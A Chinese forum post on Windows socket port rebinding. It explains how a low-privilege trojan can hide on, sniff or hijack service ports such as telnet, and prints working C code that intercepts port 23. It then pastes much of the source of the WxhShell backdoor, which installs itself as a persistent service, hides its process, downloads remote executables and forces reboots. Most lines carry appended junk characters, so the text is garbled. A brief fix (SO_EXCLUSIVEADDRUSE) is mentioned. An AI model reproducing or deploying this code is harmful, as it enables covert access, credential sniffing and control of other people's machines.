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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -JgNujt#9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J?3/L&seA  
ISNL='%  
  saddr.sin_family = AF_INET; wxvi)|)  
VSY  p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h*l$!nEN  
=XR6rR8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \wA:58 -j  
0pMN@Cz6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '+_>PBOc  
cw!,.o%cD  
  这意味着什么?意味着可以进行如下的攻击: =J]WVA,GqA  
D BHy%i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3U>-~-DS  
&;-zy%#l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U)bv,{-q  
,J|,wNDU!K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Fn"QL-  
b`-|7<s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @5nFa~*K%  
@/<UhnI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 * HKu%g  
 %nY\"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pt"H_SW~k  
'M>m$cCMZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aq$ hE-{28  
:/|"db&`  
  #include "wOfs$w%s  
  #include 4`#Q  
  #include uem-fTG  
  #include    ).5 X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7tcadXk0  
  int main() -Ty~lZ)TDT  
  { !} TsFa  
  WORD wVersionRequested; kh0cJE\_^  
  DWORD ret; 4=tR_s  
  WSADATA wsaData; 'vBZh1`p  
  BOOL val; $].htm  
  SOCKADDR_IN saddr; D|9+:Y  
  SOCKADDR_IN scaddr; *(Dmd$|0|  
  int err; u)0I$Tc"  
  SOCKET s; <R$ 2x_  
  SOCKET sc; N;|^C{uz  
  int caddsize; sWYnoRxu  
  HANDLE mt; TsTc3  
  DWORD tid;   b4_0XmL  
  wVersionRequested = MAKEWORD( 2, 2 ); w2nReB z  
  err = WSAStartup( wVersionRequested, &wsaData ); \2s`mCY  
  if ( err != 0 ) { [Iks8ZWr_  
  printf("error!WSAStartup failed!\n"); "O jAhKfG  
  return -1; tON>wmN  
  } sFFQ]ST2p  
  saddr.sin_family = AF_INET; |EE1S{!24m  
   6^Wep- $  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [7v|bd  
5^Qa8yA>7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !y _{mE?V(  
  saddr.sin_port = htons(23); |Ghk8 WA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q6Gw!!Z5EA  
  { zi-_l  
  printf("error!socket failed!\n"); #Lhv=0op  
  return -1; G|g^yaq>  
  } -x//@8"   
  val = TRUE; /WTEz\k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O]u'7nO{{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "Q.*  
  { R_PF*q2 '  
  printf("error!setsockopt failed!\n"); 5Kg'&B (  
  return -1; .hat!Tt9  
  } "@UQSf,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vamZKm~p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~gfR1SE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >c,s}HJ  
B3#G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !K>iSF<  
  { KMRPleF  
  ret=GetLastError(); =5+*TL`  
  printf("error!bind failed!\n"); sasurR|;  
  return -1; LCHMh6  
  } (wDE!H7  
  listen(s,2); `$T$483/  
  while(1) I'uwJy_I\  
  { cszvt2BIg  
  caddsize = sizeof(scaddr); WUYI1Ij;  
  //接受连接请求 5}#wp4U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,S-h~x  
  if(sc!=INVALID_SOCKET) \Rny*px  
  { (&:gD4.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dVQ[@u1,  
  if(mt==NULL) X06Lr!-%  
  { I_J&>}V'  
  printf("Thread Creat Failed!\n"); ]O x5F@  
  break; BR2Gb~#T  
  } po*G`b;v  
  } I^ ?tF'E  
  CloseHandle(mt); kU<t~+  
  } R+M&\ 5  
  closesocket(s); T D _@0Rd  
  WSACleanup();  z:,PwLU  
  return 0; y }odTeq  
  }   C ^Y\?2h1  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~ nsb  
  { 4V,.Oi  
  SOCKET ss = (SOCKET)lpParam;  $GJT  
  SOCKET sc; x|6]+?l@6  
  unsigned char buf[4096]; -R`{]7V  
  SOCKADDR_IN saddr; <g[z jV9p  
  long num; %nZl`<M  
  DWORD val; Z?axrGmg0  
  DWORD ret; hS]w A"\87  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vi,hWz8WB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y?0/f[Ax,y  
  saddr.sin_family = AF_INET; $coO~qvU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X,QsE{  
  saddr.sin_port = htons(23); ,;)ZF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J Wn26,  
  { fvkcJwkc  
  printf("error!socket failed!\n"); cr1x CPJj  
  return -1;  ?%,NOX  
  } *G19fJ[5  
  val = 100; = S&`~+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C?<pD+]b_  
  { Q.mJ7T~T  
  ret = GetLastError(); f O*jCl  
  return -1; tb3V qFx  
  } y0* rY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d!,t_jM0  
  { U.7fMc#  
  ret = GetLastError(); O `}EiyV  
  return -1; O*EV~ {K  
  } aLO^>",  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PVCoXOqh  
  { @R[{  
  printf("error!socket connect failed!\n"); JB_fS/I  
  closesocket(sc); sXIYl% d  
  closesocket(ss); 7;'33Bm*  
  return -1; y~SVD@  
  } J +6zV m  
  while(1) @A/k"Ax{r  
  { _P;D.>?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [,zq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4U}qrN~=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "/W[gP[y%  
  num = recv(ss,buf,4096,0); 3N7H7(IR  
  if(num>0) )g0fN+Mb  
  send(sc,buf,num,0); Fhoyji4  
  else if(num==0) 4.RQ3SoDa  
  break; zKJ2 ~=  
  num = recv(sc,buf,4096,0); .|UQ)J?s  
  if(num>0) {Cx5m   
  send(ss,buf,num,0); ,^(]zZh  
  else if(num==0) @AsJnf$y  
  break; jwZ,_CK  
  } 0I&k_7_   
  closesocket(ss); ^t;z;.g  
  closesocket(sc); ks '>?Dw  
  return 0 ; W'lqNOX[v  
  } * QgKo$IF  
yK~=6^M  
iG N\ >m}  
========================================================== _fGTTw(  
cnv>&6a)  
下边附上一个代码,,WXhSHELL ZO0 Ee1/  
:GHv3hn5  
========================================================== zw0w."V  
XX6Z|Y5.  
#include "stdafx.h" "t@p9>  
9Em#Ela  
#include <stdio.h> C8N)!5(A  
#include <string.h> r"h;JC/&<T  
#include <windows.h> i|YS>Pw~j  
#include <winsock2.h> mgs(n5V5  
#include <winsvc.h> +.G"ool  
#include <urlmon.h> s{hKl0ds  
UO/sv2CN  
#pragma comment (lib, "Ws2_32.lib") ()3\(d5e  
#pragma comment (lib, "urlmon.lib") N ##`  
A'WR!*Yt  
#define MAX_USER   100 // 最大客户端连接数 .g*j]!_]  
#define BUF_SOCK   200 // sock buffer bOS)vt*V  
#define KEY_BUFF   255 // 输入 buffer MK$u }G  
<n"BPXF~  
#define REBOOT     0   // 重启 D #ddx  
#define SHUTDOWN   1   // 关机 M>8J_{r^  
i!wU8 @  
#define DEF_PORT   5000 // 监听端口 eI #Gx_mg  
APQq F/  
#define REG_LEN     16   // 注册表键长度 6b|?@  
#define SVC_LEN     80   // NT服务名长度 8)i""OD@I  
g?C;b>4  
// 从dll定义API bF)G+IH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !3ggQG!e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d[ N1zQW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H}@:Bri  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gEA SYIQ  
\bA Yic  
// wxhshell配置信息 Z:; }  
struct WSCFG { 9>""xt  
  int ws_port;         // 监听端口 6_LeP9s )  
  char ws_passstr[REG_LEN]; // 口令 bS.w<V Ew  
  int ws_autoins;       // 安装标记, 1=yes 0=no DSGcxM+  
  char ws_regname[REG_LEN]; // 注册表键名 )G? qX.D  
  char ws_svcname[REG_LEN]; // 服务名 ^)VwxH:s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :|7#D,2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aQk&#OQy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |@qw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3r\8v`^>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d|`Ll  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v* ;d  
8xpplo8  
}; xNP_>Qa~  
2|1fb-AR  
// default Wxhshell configuration &hCbXs=  
struct WSCFG wscfg={DEF_PORT, azcPeAe  
    "xuhuanlingzhe", <N<Q9}`V  
    1, ==[,;g x  
    "Wxhshell", ,S)r%[ru^  
    "Wxhshell", /@os*c|je  
            "WxhShell Service", +SJ.BmT  
    "Wrsky Windows CmdShell Service", {K(mfTqm  
    "Please Input Your Password: ", ,pNx(a  
  1, 5pO|^G j1  
  "http://www.wrsky.com/wxhshell.exe", X1L@ G  
  "Wxhshell.exe" ,Z. sGv  
    }; 4 1_gak;  
*O?c~UJhhV  
// 消息定义模块 tAX* CMW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rS8a/d~;0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &)eg3P)7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8v:{BHX  
char *msg_ws_ext="\n\rExit."; ?RRO  
char *msg_ws_end="\n\rQuit."; 0p.bmQSH  
char *msg_ws_boot="\n\rReboot..."; g(7 -3q8eq  
char *msg_ws_poff="\n\rShutdown..."; 0mw1CUx9K  
char *msg_ws_down="\n\rSave to "; V"FQVtTx7  
^0VL](bD>  
char *msg_ws_err="\n\rErr!"; YJi%vQ*]  
char *msg_ws_ok="\n\rOK!"; 8h )XULs2  
MvVpp;bd  
char ExeFile[MAX_PATH]; AeJ ;g  
int nUser = 0; voWH.[n^_  
HANDLE handles[MAX_USER]; BD g]M/{  
int OsIsNt; <@<rU:o=V  
J[ds.~ $  
SERVICE_STATUS       serviceStatus; nHK(3Z4G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V\~.  
5dBftTv?  
// 函数声明 #6sz@XfV  
int Install(void); *zfgO pK  
int Uninstall(void); :yay:3qv  
int DownloadFile(char *sURL, SOCKET wsh); _03?XUKV  
int Boot(int flag); 6&3,fSP  
void HideProc(void); Bx\&7|,x  
int GetOsVer(void); V0ze7tSG[f  
int Wxhshell(SOCKET wsl); r8k(L{W  
void TalkWithClient(void *cs); $KHm5*;nd  
int CmdShell(SOCKET sock); kmB!NxF>)F  
int StartFromService(void); p [O6  
int StartWxhshell(LPSTR lpCmdLine); !iXRt")  
sXKkZ+2q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lU WXXuO]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Z-j'pq  
-@TY8#O#-  
// 数据结构和表定义 9tiZIm93]  
SERVICE_TABLE_ENTRY DispatchTable[] = ZbnAAbfKH  
{ Uqr>8|t?  
{wscfg.ws_svcname, NTServiceMain}, jm0p%%z  
{NULL, NULL} +9)Jtm oL  
}; ]5!3|UYS  
OG\i?N  
// 自我安装 lFBdiIw  
int Install(void) A q i:h]x  
{ +X?ErQm  
  char svExeFile[MAX_PATH]; ~ELY$G.xl  
  HKEY key; Gvb2>ZN  
  strcpy(svExeFile,ExeFile); XN<SKW(H3  
K+g[E<x\=  
// 如果是win9x系统,修改注册表设为自启动 #A63?kDE&&  
if(!OsIsNt) { 8-$t7bV5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !oLn=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UBvp3 2p  
  RegCloseKey(key); }nx)|J*p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0RR|!zEu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m_NX[>&Y3  
  RegCloseKey(key); `FHudSK  
  return 0; .?>Cav9:  
    } ldv@C6+J  
  } <O#&D|EMd|  
} ^BsT>VSH6  
else { *dBy<dIy  
.35(MFvq!  
// 如果是NT以上系统,安装为系统服务 d\z6Ob"t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =j7Du[?Vu  
if (schSCManager!=0) (f/(q-7VWt  
{ -YoL.`s1   
  SC_HANDLE schService = CreateService 1ni+)p>]  
  ( XcR=4q|7  
  schSCManager, WP<L9A  
  wscfg.ws_svcname, Xr*I`BJ  
  wscfg.ws_svcdisp, 1v@#b@NXM7  
  SERVICE_ALL_ACCESS, 'u,|*o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mw[3711v  
  SERVICE_AUTO_START, Pk?$\  
  SERVICE_ERROR_NORMAL, U S^% $Z:  
  svExeFile, TG2#$Bq1  
  NULL, {DO9%ej)  
  NULL,  F/Goq`  
  NULL, EOPx 4+o  
  NULL, Y&2FH/(M  
  NULL V"Q\7,_k.  
  ); ?_Qe45 @  
  if (schService!=0) 72HA.!ry  
  { D%SOX N  
  CloseServiceHandle(schService); XM'tIE+|  
  CloseServiceHandle(schSCManager); /$^Tou/v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :X>Wd+lY:_  
  strcat(svExeFile,wscfg.ws_svcname); Q_mphW:[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -jH|L{Iyq}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Xi@#s~  
  RegCloseKey(key); oEIpv;:_  
  return 0; Rv1W&s&  
    }  Y@,iDQ  
  } a~}q]o?j  
  CloseServiceHandle(schSCManager); *V>?m6y/  
} 7FX4|]  
} }YwaN'3p!  
&/@V$'G=  
return 1; :!gNOR6Lh  
} CmEqo;Is  
tE*BZXBlm  
// 自我卸载 ||+~8z#+,  
int Uninstall(void) bWSN]]e1#  
{ 8SRR)O[)}  
  HKEY key; ]n^iG7aB?  
xoZ m,Pxd  
if(!OsIsNt) { @ @[xTyA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nt>^2Mv   
  RegDeleteValue(key,wscfg.ws_regname); BabaKSm}LP  
  RegCloseKey(key); )&6gju7(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y6{^cZ!=  
  RegDeleteValue(key,wscfg.ws_regname); CKAd\L   
  RegCloseKey(key); 8/e-?2l  
  return 0; -CPtYG[s  
  } 7x)Pt@c  
} \ o<ucp\J  
} 3,PR6a,b'  
else { mK:gj&N7X|  
hSehJjEoM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :{u`qi  
if (schSCManager!=0) |q`NJ  
{ dT| XcVKg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =<]`'15"V  
  if (schService!=0) &V4Zm n?UU  
  { vQWmHv\P  
  if(DeleteService(schService)!=0) { i)#-VOhX)  
  CloseServiceHandle(schService); @9/I^Zk  
  CloseServiceHandle(schSCManager); PV68d; $:8  
  return 0; }*fBHzNN  
  } .n:Q~GEL  
  CloseServiceHandle(schService); sXVl4!=l6  
  } \Vc[/Qp7Bb  
  CloseServiceHandle(schSCManager); rr# nBhh8  
} Pps$=`  
} "i&)+dr-  
B{Q}^Mcxy  
return 1; <rC%$tr  
} o.KnDY  
]4aPn  
// 从指定url下载文件 5|*{~O|  
int DownloadFile(char *sURL, SOCKET wsh) % /:1eE`!S  
{ -K|1w'E  
  HRESULT hr; ly[yn{  
char seps[]= "/"; IQ&PPC  
char *token; WNR]GI  
char *file; vF\>;pcT  
char myURL[MAX_PATH]; gP_N|LuF"  
char myFILE[MAX_PATH];  : (UK'i  
uFr12ZFgK  
strcpy(myURL,sURL); 0/HFLz'  
  token=strtok(myURL,seps); Q,?_;,I}  
  while(token!=NULL) /@:X0}L  
  { >n7h%c  
    file=token; 0C zQel)L:  
  token=strtok(NULL,seps); cSL6V2F  
  } *\ii +f-  
I`_2Q:r  
GetCurrentDirectory(MAX_PATH,myFILE); (%_X{R'  
strcat(myFILE, "\\"); l";Yw]:^  
strcat(myFILE, file); f' A$':Y  
  send(wsh,myFILE,strlen(myFILE),0); fHiL%]z  
send(wsh,"...",3,0); ElO|6kOBYG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^4=#, K  
  if(hr==S_OK) rK gl:s j+  
return 0; [O3:?BNY  
else 9NTNulD>P  
return 1; 8LV6E5Q  
/2Izj/Q  
} M?l v  
bjVk9XvH6  
// 系统电源模块 @a 9.s  
int Boot(int flag) "Enb   
{ 4cQP+n  
  HANDLE hToken; KV0*dB;  
  TOKEN_PRIVILEGES tkp; k^ <]:B  
!wp1Df[  
  if(OsIsNt) {  Bx45yaT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A]c'T T@6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bM?gAY]mB8  
    tkp.PrivilegeCount = 1; 7O1MC 8{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '$FF/|{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oAO{4xP  
if(flag==REBOOT) { XG|N$~N+2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x-i1:W9;  
  return 0; y:)^*2GA-B  
} V$ZclV2:Ih  
else { >XtfT'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 `1  
  return 0; gnJ8tuS  
} a0NiVF-m%  
  } jG>W+lq  
  else { 9#9 UzKX#  
if(flag==REBOOT) { 8-#kY}d.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3ijPm<wn  
  return 0; !hVbx#bXl  
} oC`F1!SfOO  
else { Pn!~U] A$%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sp>g77@  
  return 0; A8f.h5~9  
} n])#<0  
} Wt/;iq"  
2E }vuw=c  
return 1; *2 Pr1U  
} 3sr_V~cZ9  
- l X4;  
// win9x进程隐藏模块 1$b@C-B@g  
void HideProc(void) i q`}c |c  
{ "pkdZ   
a``|sn9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }AS?q?4?  
  if ( hKernel != NULL ) {+9RJmZg  
  { Y w0,K&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I )mB]j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :)1"yo\  
    FreeLibrary(hKernel); P<g(i 6]  
  } }{R*pmv$bN  
NQ`D"n  
return; sD3ZZcy|=  
} X&9: ^$m  
v+LJx    
// 获取操作系统版本 (;#c[eKy  
int GetOsVer(void) m!7%5=Fc  
{ \Kf\%Q  
  OSVERSIONINFO winfo; )- W1Wtom  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JP4DV=}L  
  GetVersionEx(&winfo); AW5iwq6p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ET.jjV  
  return 1; c)#P}Ai  
  else l 5-[a  
  return 0; !<M eWo  
} )JzY%a SP  
uzdPA'u  
// 客户端句柄模块 oPi>]#X  
int Wxhshell(SOCKET wsl) 1Ms]\<^j  
{ g-qXS]y7  
  SOCKET wsh; >NUbk9}J4  
  struct sockaddr_in client; u%C oo  
  DWORD myID; f\_RW;y|m  
c|/HX%Y  
  while(nUser<MAX_USER) <UGaIb  
{ N|DfE{,  
  int nSize=sizeof(client); nL 5tHz:e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BAQ-1kSz  
  if(wsh==INVALID_SOCKET) return 1; D [+LU(  
hC2Fup1@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `n$Ak5f  
if(handles[nUser]==0) dk&e EDvfd  
  closesocket(wsh); z>N[veX%  
else :7K a4  
  nUser++; CY o m  
  } ILm +o$o ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (H_dZL  
'?C6P5fm  
  return 0;  uo`R  
} yX!u&  
I/7!5Z*  
// 关闭 socket brA#p>4]Wf  
void CloseIt(SOCKET wsh) F'XQoZ* 1  
{ M">v4f&K1!  
closesocket(wsh); rxyv+@~Nc  
nUser--; k ]NZ%.  
ExitThread(0); :u4|6?  
} AA5G` LiT  
Um+_ S@h  
// 客户端请求句柄 DZ|*hQU>K  
void TalkWithClient(void *cs) L"ho|v9:  
{ `N\ ^JAGW  
:9QU\{2  
  SOCKET wsh=(SOCKET)cs; pyhXET '  
  char pwd[SVC_LEN]; |mt W)  
  char cmd[KEY_BUFF]; ZxvH1qx8  
char chr[1]; es7;eH*O9  
int i,j; 8$NVVw]2,  
9d"*Z%!j  
  while (nUser < MAX_USER) { 5e7YM@ng  
XO]^+'U}p  
if(wscfg.ws_passstr) { %"`p&aE:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xJ3C^b%H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FQ>$Ps*a[  
  //ZeroMemory(pwd,KEY_BUFF); B_d\eD  
      i=0; t/[lA=0 )2  
  while(i<SVC_LEN) { yv-R<c!'  
e bze_:  
  // 设置超时 +iC:/CJL  
  fd_set FdRead; }T[ @G6#  
  struct timeval TimeOut; kx&JY9(&#  
  FD_ZERO(&FdRead); 5qrD~D '  
  FD_SET(wsh,&FdRead); b^HDN(v  
  TimeOut.tv_sec=8; \=0;EI-j  
  TimeOut.tv_usec=0; ]1++$Ej  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )|*Qs${tF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d7^ `  
v_zt$bf{Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q=3>ij {v  
  pwd=chr[0]; D=ej%]@iw  
  if(chr[0]==0xd || chr[0]==0xa) { Mqr]e#"o  
  pwd=0; F?6kkLS/  
  break; yx8G9SO?  
  } PMP{|yEx"  
  i++; 1"y !wsM%  
    } "=a3"/u  
^8&}Nk[j  
  // 如果是非法用户,关闭 socket UC+Qn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jV2H61d  
} Z 7@'I0;A  
nZioFE}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wNi%u{T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B?%u< F  
lfAy$qP"}  
while(1) { $$ND]qM$M  
Iynks,ikA  
  ZeroMemory(cmd,KEY_BUFF); 2BC!,e$Z  
qlcd[Y*B  
      // 自动支持客户端 telnet标准   ~DD _n  
  j=0; "]"0d[d  
  while(j<KEY_BUFF) { C@Wzg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I7vP*YE 7F  
  cmd[j]=chr[0]; 5.^pD9[mT  
  if(chr[0]==0xa || chr[0]==0xd) { w"0$cL3  
  cmd[j]=0; br=e+]C Y)  
  break; !sX$?P%U  
  } a[hF2/*  
  j++; w9Yx2  
    } +c_AAMe  
s{dm,|?Jl,  
  // 下载文件 ~k34#j:J65  
  if(strstr(cmd,"http://")) { IGTO|sT"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zh) &6'S\  
  if(DownloadFile(cmd,wsh)) E6GubU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <qR$ `mLN  
  else !IOmJpl'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Y2,fW8i,  
  } )?[2Y%P  
  else { L9/'zhiZBx  
)FwOg;=3M"  
    switch(cmd[0]) { 9we];RYK  
  w}1IP-  
  // 帮助 `)a|Q  
  case '?': { 4&NB xe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TzC(YWt  
    break; ,P <I<QYu  
  }  _ %mm  
  // 安装 !po,Z&  
  case 'i': { Mh`^-*c?  
    if(Install()) 7ZI{A*^vB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u8 k^\Do  
    else I0Do%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p+P@I7V  
    break; n`= S&oKH  
    } ^U~Er'mT  
  // 卸载 4AhF E@  
  case 'r': { aKMX-?%t4  
    if(Uninstall()) `G":y[Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fe[6Y<x+:  
    else sA6HkB.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?e-rwaW  
    break; SsX$l<t*  
    } _,^f,WO~  
  // 显示 wxhshell 所在路径 5tv*uz|fv  
  case 'p': { GYw/KT~$  
    char svExeFile[MAX_PATH]; u|23M,  
    strcpy(svExeFile,"\n\r"); 8!v|`Ky  
      strcat(svExeFile,ExeFile); 6No.2Oo  
        send(wsh,svExeFile,strlen(svExeFile),0); ` .`:~_OE  
    break; ;s3@(OnjZ  
    } S*}GW-)oA  
  // 重启 x/1FQ>n:9  
  case 'b': { pjO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |g7)A?2J~  
    if(Boot(REBOOT)) NH/jkt&F[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mV]~}7*Y;  
    else { l&Q@+xb>  
    closesocket(wsh); gs2qLb  
    ExitThread(0); R@WW@ Of  
    } /,7#%D  
    break; *Iw19o-I  
    } ] Q^8 9?  
